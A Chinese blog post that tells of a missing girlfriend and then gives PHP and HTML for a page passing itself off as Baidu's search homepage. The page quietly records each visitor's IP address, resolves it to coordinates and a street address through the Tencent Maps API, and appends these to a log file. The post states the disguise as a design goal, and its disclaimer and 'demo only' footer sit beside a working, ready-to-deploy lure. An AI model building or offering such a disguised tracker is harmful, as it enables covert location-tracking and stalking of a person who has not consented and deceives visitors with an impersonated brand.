朋友的朋友的女朋友负气出走了,朋友的朋友找到了朋友寻求协助。朋友又找到我希望可以通过代码实现定位从而找回。此类问题涉及侵犯隐私问题从而无法得到有效解决。建议朋友的朋友寻找帽子叔叔以得到帮助才是正理!朋友咨询我网上通过手机号码定位是否可信。某直呼:“骗子!!” 朋友从事职业为分子料理师,但是他所给出的角度还是非常清奇的!从而引起了我的思考。。。文章目的无不良引导!

思考

  • 日子还是要认真对待的!!!
  • 引入地图api
  • IP地址
  • 记录所获取到的经纬度及IP
  • 前端具备一定伪装度
// tohs.cn 
// 2025/06/02
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);

// 腾讯地图API密钥
$腾讯地图APIKey = "input腾讯apikey";
$文件路径 = "tohs.txt";

// 获取用户IP地址
function 获取用户IP() {
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    } else {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}

// 调用腾讯地图API获取经纬度
function 获取坐标($ip, $apiKey) {
    $url = "https://apis.map.qq.com/ws/location/v1/ip?ip={$ip}&key={$apiKey}";
    
    // 初始化cURL会话
    $ch = curl_init();
    // 设置URL和其他选项
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    
    $response = curl_exec($ch);
    curl_close($ch);
    
    $data = json_decode($response, true);
    
    if ($data && $data['status'] == 0) {
        // 成功获取坐标
        return [
            'lat' => $data['result']['location']['lat'],
            'lng' => $data['result']['location']['lng'],
            'address' => $data['result']['address']
        ];
    } else {
        // 定位失败,返回默认值或错误信息
        return [
            'error' => '定位失败: ' . ($data ? $data['message'] : '未知错误'),
            'lat' => 0,
            'lng' => 0
        ];
    }
}

// 记录坐标到文件
function 记录坐标到文件($文件路径, $时间, $ip, $坐标) {
    $内容 = "时间: {$时间} | 坐标: {$坐标['lat']},{$坐标['lng']} | IP: {$ip} | 地址: {$坐标['address']}\n";
    
    // 打开文件并追加内容
    if ($fp = fopen($文件路径, 'a')) {
        fwrite($fp, $内容);
        fclose($fp);
        return true;
    } else {
        return false;
    }
}

// 主程序流程
$用户IP = 获取用户IP();
$坐标信息 = 获取坐标($用户IP, $腾讯地图APIKey);
$当前时间 = date('Y-m-d H:i:s');
$记录成功 = 记录坐标到文件($文件路径, $当前时间, $用户IP, $坐标信息);

// 准备前端显示信息
$显示信息 = "定位信息: ";
if (isset($坐标信息['error'])) {
    $显示信息 .= $坐标信息['error'];
} else {
    $显示信息 .= "纬度: {$坐标信息['lat']}, 经度: {$坐标信息['lng']}, 地址: {$坐标信息['address']}";
}
$显示信息 .= " | IP: {$用户IP} | 记录状态: " . ($记录成功 ? "成功" : "失败");
?>

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>百度一下,你就知道</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            font-family: Arial, sans-serif;
        }
        body {
            background-color: #fff;
            color: #333;
            text-align: center;
            padding-top: 100px;
        }
        .container {
            width: 100%;
            max-width: 980px;
            margin: 0 auto;
            padding: 0 20px;
        }
        .logo {
            margin-bottom: 30px;
        }
        .logo img {
            height: 100px;
        }
        .search-box {
            display: flex;
            justify-content: center;
            margin-bottom: 20px;
        }
        .search-input {
            width: 580px;
            height: 44px;
            padding: 0 10px;
            font-size: 18px;
            border: 1px solid #d2d2d2;
            border-right: none;
            border-radius: 4px 0 0 4px;
            outline: none;
        }
        .search-button {
            height: 46px;
            width: 100px;
            background-color: #4285f4;
            color: white;
            border: none;
            border-radius: 0 4px 4px 0;
            font-size: 16px;
            cursor: pointer;
        }
        .search-button:hover {
            background-color: #3378f5;
        }
        .footer {
            position: fixed;
            bottom: 20px;
            width: 100%;
            color: #999;
            font-size: 12px;
        }
        .location-info {
            margin-top: 20px;
            font-size: 14px;
            color: #666;
            text-align: left;
            max-width: 600px;
            margin-left: auto;
            margin-right: auto;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="logo">
            <img src="https://www.baidu.com/img/bd_logo1.png" alt="百度logo">
        </div>
        <div class="search-box">
            <input type="text" class="search-input" placeholder="百度一下,你就知道">
            <button class="search-button">百度一下</button>
        </div>
        <div class="location-info">
            <!-- 前端提示定位信息 -->
            <p>定位结果: <?php echo $显示信息; ?></p>
        </div>
    </div>
    <div class="footer">
        <p>本页面仅用于定位演示</p>
    </div>
</body>
</html>

测试截图